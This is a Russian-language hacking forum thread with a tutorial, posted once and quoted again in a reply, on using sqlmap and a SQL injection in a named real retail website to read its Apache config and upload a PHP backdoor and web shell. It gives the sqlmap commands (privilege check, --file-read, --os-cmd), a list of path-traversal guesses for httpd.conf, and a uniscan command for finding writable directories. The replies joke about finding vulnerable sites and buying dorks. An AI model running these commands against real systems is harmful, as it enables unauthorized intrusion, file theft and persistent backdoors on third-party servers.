Заливаем шелл [SQLmap]

bingo_shark

Заблокированные
Статус
offline
Регистрация
09.04.2016
Сообщения
385
Репутация
342
Обратите внимание, если Вы хотите провести сделку с данным пользователем, на то, что он заблокирован.
.у нас имеется SQL Injection на сайт, которая выглядит следующим образом,
http://www.sacoor.com/site_terms.php?lang=en
Первым дело нам желательно проверить имеем ли мы привилегии на запись файлов на атакуемом ресурсе, для этого загружаем терминал и даем следующую команду:
Код:
http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba
Жмем Enter и начинается анализ нашей SQL Injection, выглядит отчет следующим образом:
d5b3ea5eedff34924284622360755a87.png

Как вы видите в отчете написана версия Apache, версия MySQL, и версия ОС, установленной на сервере, все это нам пригодится в дальнейшем, но самое главное вы видите, что мы имеем права на запись файлов, это отображается в строчке Current User is DBA: True

Следующим шагом для нас является получение путей для записи нашего шелла. Путь до нашего сайта на сервере мы можем получить, скачав файл httpd.conf. Информацию о местоположении файла httpd.conf мы получаем с помощью Google, можно поискать по версии ОС, которая установлена или по списку наиболее вероятных путей. В общем не буду углубляться в серфинг по поисковым системам, просто когда выяснили наиболее вероятное месторасположение пути к файлу, то самое время скачать этот самый файл к себе на диск, для этого вводим следующую команду и запрашиваем чтение файла на сервере:
Код:
sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Сразу отметим, что не всегда удается найти этот конфиг-файл с первого раза, поэтому вы можете использовать наиболее вероятные пути по которым этот файл может находиться:

СПИСОК ВЕРОЯТНЫХ ПУТЕЙ К ФАЙЛУ КОНФИГА:
Код:
../../../../../../../../../usr/local/apache/conf/httpd.conf

../../../../../../../../../usr/local/apache2/conf/httpd.conf
../../../../../../../../usr/local/apache/httpd.conf
../../../../../../../../usr/local/apache2/httpd.conf
../../../../../../../../usr/local/httpd/conf/httpd.conf
../../../../../../../usr/local/etc/apache/conf/httpd.conf
../../../../../../../usr/local/etc/apache2/conf/httpd.conf
../../../../../../../usr/local/etc/httpd/conf/httpd.conf
../../../../../../../usr/apache2/conf/httpd.conf
../../../../../../../usr/apache/conf/httpd.conf
../../../../../../../usr/local/apps/apache2/conf/httpd.conf
../../../../../../../usr/local/apps/apache/conf/httpd.conf
../../../../../../etc/apache/conf/httpd.conf
../../../../../../etc/apache2/conf/httpd.conf
../../../../../../etc/httpd/conf/httpd.conf
../../../../../../etc/http/conf/httpd.conf
../../../../../../etc/apache2/httpd.conf
../../../../../../etc/httpd/httpd.conf
../../../../../../etc/http/httpd.conf
../../../../../../etc/httpd.conf
../../../../../opt/apache/conf/httpd.conf
../../../../../opt/apache2/conf/httpd.conf
../../../../var/www/conf/httpd.conf
../conf/httpd.conf
Мы получаем отчет от sqlmap в следующем виде:
79d7e2973220731a08abb76e75ccb024.png

Как вы видите, sqlmap нам сказал, что файл имеет такой же размер как и файл на сервере, следовательно мы имеем право на чтение этого файла. Если бы прав на чтение этого файла не хватало, то вылезла бы ошибка, что файл сохраненный на нашей машине имеет другой размер в отличие от файла на сервере, либо файла на сервере по указанному нами пути нет и никогда не было. Sqlmap cохранил наш файл в файлах отчета, а что бы прочитать его нужно запустить оконный менеджер. Для запуска оконного менеджера мы открываем еще одно окно терминала и вводим команду:
Код:
mc
Далее в открывшемся менеджере идем по пути, куда sqlmap сложил файл т.е.:
/root/.sqlmap/output/sacoor.com
Далее, наведя курсор на файлик нажимаем кнопку F3 на клавиатуре и читаем конфиг-файл Apache:
0e33fd682f5d3dc3cc8b3ecb9af4ba80.png

Из нашего конфиг-файла мы видим, что наш сайт лежит на сервере по следующему пути:
/home/sbshop/site/

Теперь, когда мы имеем немного информации, можно пробовать залить шелл, для этого вводим следующую команду:
Код:
sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

После ввода команды sqlmap спросит какой тип заливщика мы желаем использовать, т.к. в нашем случае сайт на PHP, то и заливать мы будем PHP-loader, выбираемпункт4 и жмем Enter. Далее, sqlmap попросит выбрать нас куда мы будем заливать наш загрузчик, а т.к. мы уже знаем путь к нашему сайту на сервере, то выбираемпункт 2, нажимем Enter и указываем путь к сайту:
/home/sbshop/site/

а после этого жмем Enter и видим следующий отчет:
f1469983dcfe1126057c1a9bf9e125ee.png

В данном случае sqlmap нам говорит, что в данную папку у нас нет прав на запись. Не беда, эту проблему достаточно легко решить. Даем команду на запуск uniscan и чекаем файлы и папки на возможность записи, вот команда:
Код:
uniscan -u http://www.sacoor.com/ -qwe
Сейчас сканер проверит все доступные для записи директории:
f04bff0258223dfaf3125b676aaa6553.png

Сканер нашел три директории с возможностью записи файлов, поэтому пытаемся залить наш лоадер шелла еще раз, но в этот раз по-другому пути. Опять выполняем команду:
Код:
sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l
и, выбрав пункт 4 (заливка PHP-скрипта), указываем путь:
/home/sbshop/site/admin

Видим мы следующее:
067fa2adfa67ae5c9604d04c2c499838.png

Наш бекдор успешно залился, пока не вибираем ничего из того, что предлагает нам sqlmap, а просто переходим по ссылке с бекдором:
af1888362b1dd188215734e65830da7c.png

Теперь осталось выбрать PHP-Shell и залить его на сервер, когда данное действие будет выполнено перейдите в терминал, где запущен sqlmap и согласитесь с его последним запросом.
После этого бекдор будет удален, а шелл останется на сервере:
9dcf8944f2844b05b5b4b6f59016cc8a.png
P.S. Копипаст :)
 

onehbillos

Эксперт
Статус
offline
Регистрация
10.08.2016
Сообщения
642
Репутация
380
kali <3 .
 

bingo_shark

Заблокированные
Статус
offline
Регистрация
09.04.2016
Сообщения
385
Репутация
342
Обратите внимание, если Вы хотите провести сделку с данным пользователем, на то, что он заблокирован.

bingo_shark

Заблокированные
Статус
offline
Регистрация
09.04.2016
Сообщения
385
Репутация
342
Обратите внимание, если Вы хотите провести сделку с данным пользователем, на то, что он заблокирован.

icYFTL

Заблокированные
Статус
offline
Регистрация
20.01.2016
Сообщения
559
Репутация
328
Обратите внимание, если Вы хотите провести сделку с данным пользователем, на то, что он заблокирован.
.у нас имеется SQL Injection на сайт, которая выглядит следующим образом,
http://www.sacoor.com/site_terms.php?lang=en
Первым дело нам желательно проверить имеем ли мы привилегии на запись файлов на атакуемом ресурсе, для этого загружаем терминал и даем следующую команду:
Код:
http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba
Жмем Enter и начинается анализ нашей SQL Injection, выглядит отчет следующим образом:
Посмотреть вложение 3974
Как вы видите в отчете написана версия Apache, версия MySQL, и версия ОС, установленной на сервере, все это нам пригодится в дальнейшем, но самое главное вы видите, что мы имеем права на запись файлов, это отображается в строчке Current User is DBA: True

Следующим шагом для нас является получение путей для записи нашего шелла. Путь до нашего сайта на сервере мы можем получить, скачав файл httpd.conf. Информацию о местоположении файла httpd.conf мы получаем с помощью Google, можно поискать по версии ОС, которая установлена или по списку наиболее вероятных путей. В общем не буду углубляться в серфинг по поисковым системам, просто когда выяснили наиболее вероятное месторасположение пути к файлу, то самое время скачать этот самый файл к себе на диск, для этого вводим следующую команду и запрашиваем чтение файла на сервере:
Код:
sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Сразу отметим, что не всегда удается найти этот конфиг-файл с первого раза, поэтому вы можете использовать наиболее вероятные пути по которым этот файл может находиться:

СПИСОК ВЕРОЯТНЫХ ПУТЕЙ К ФАЙЛУ КОНФИГА:
Код:
../../../../../../../../../usr/local/apache/conf/httpd.conf

../../../../../../../../../usr/local/apache2/conf/httpd.conf
../../../../../../../../usr/local/apache/httpd.conf
../../../../../../../../usr/local/apache2/httpd.conf
../../../../../../../../usr/local/httpd/conf/httpd.conf
../../../../../../../usr/local/etc/apache/conf/httpd.conf
../../../../../../../usr/local/etc/apache2/conf/httpd.conf
../../../../../../../usr/local/etc/httpd/conf/httpd.conf
../../../../../../../usr/apache2/conf/httpd.conf
../../../../../../../usr/apache/conf/httpd.conf
../../../../../../../usr/local/apps/apache2/conf/httpd.conf
../../../../../../../usr/local/apps/apache/conf/httpd.conf
../../../../../../etc/apache/conf/httpd.conf
../../../../../../etc/apache2/conf/httpd.conf
../../../../../../etc/httpd/conf/httpd.conf
../../../../../../etc/http/conf/httpd.conf
../../../../../../etc/apache2/httpd.conf
../../../../../../etc/httpd/httpd.conf
../../../../../../etc/http/httpd.conf
../../../../../../etc/httpd.conf
../../../../../opt/apache/conf/httpd.conf
../../../../../opt/apache2/conf/httpd.conf
../../../../var/www/conf/httpd.conf
../conf/httpd.conf
Мы получаем отчет от sqlmap в следующем виде:
Посмотреть вложение 3975
Как вы видите, sqlmap нам сказал, что файл имеет такой же размер как и файл на сервере, следовательно мы имеем право на чтение этого файла. Если бы прав на чтение этого файла не хватало, то вылезла бы ошибка, что файл сохраненный на нашей машине имеет другой размер в отличие от файла на сервере, либо файла на сервере по указанному нами пути нет и никогда не было. Sqlmap cохранил наш файл в файлах отчета, а что бы прочитать его нужно запустить оконный менеджер. Для запуска оконного менеджера мы открываем еще одно окно терминала и вводим команду:
Код:
mc
Далее в открывшемся менеджере идем по пути, куда sqlmap сложил файл т.е.:
/root/.sqlmap/output/sacoor.com
Далее, наведя курсор на файлик нажимаем кнопку F3 на клавиатуре и читаем конфиг-файл Apache:
Посмотреть вложение 3976
Из нашего конфиг-файла мы видим, что наш сайт лежит на сервере по следующему пути:
/home/sbshop/site/

Теперь, когда мы имеем немного информации, можно пробовать залить шелл, для этого вводим следующую команду:
Код:
sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

После ввода команды sqlmap спросит какой тип заливщика мы желаем использовать, т.к. в нашем случае сайт на PHP, то и заливать мы будем PHP-loader, выбираемпункт4 и жмем Enter. Далее, sqlmap попросит выбрать нас куда мы будем заливать наш загрузчик, а т.к. мы уже знаем путь к нашему сайту на сервере, то выбираемпункт 2, нажимем Enter и указываем путь к сайту:
/home/sbshop/site/

а после этого жмем Enter и видим следующий отчет:
Посмотреть вложение 3977
В данном случае sqlmap нам говорит, что в данную папку у нас нет прав на запись. Не беда, эту проблему достаточно легко решить. Даем команду на запуск uniscan и чекаем файлы и папки на возможность записи, вот команда:
Код:
uniscan -u http://www.sacoor.com/ -qwe
Сейчас сканер проверит все доступные для записи директории:
Посмотреть вложение 3978
Сканер нашел три директории с возможностью записи файлов, поэтому пытаемся залить наш лоадер шелла еще раз, но в этот раз по-другому пути. Опять выполняем команду:
Код:
sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l
и, выбрав пункт 4 (заливка PHP-скрипта), указываем путь:
/home/sbshop/site/admin

Видим мы следующее:
Посмотреть вложение 3979
Наш бекдор успешно залился, пока не вибираем ничего из того, что предлагает нам sqlmap, а просто переходим по ссылке с бекдором:
Посмотреть вложение 3980
Теперь осталось выбрать PHP-Shell и залить его на сервер, когда данное действие будет выполнено перейдите в терминал, где запущен sqlmap и согласитесь с его последним запросом.
После этого бекдор будет удален, а шелл останется на сервере:
Посмотреть вложение 3981
P.S. Копипаст :)
Людишки не найдут такие сайт(со скулями)
 

onehbillos

Эксперт
Статус
offline
Регистрация
10.08.2016
Сообщения
642
Репутация
380
если ручки из попки растут, конечно не найдут.)
можно приват дорки купить. xD
 

icYFTL

Заблокированные
Статус
offline
Регистрация
20.01.2016
Сообщения
559
Репутация
328
Обратите внимание, если Вы хотите провести сделку с данным пользователем, на то, что он заблокирован.

onehbillos

Эксперт
Статус
offline
Регистрация
10.08.2016
Сообщения
642
Репутация
380
я про неопытных говорю.)
 

Weresk6754

Новичок
Статус
offline
Регистрация
03.09.2016
Сообщения
7
Репутация
1
жесть, так шелл не залить, это из разряда фантастики или нужен рут доступ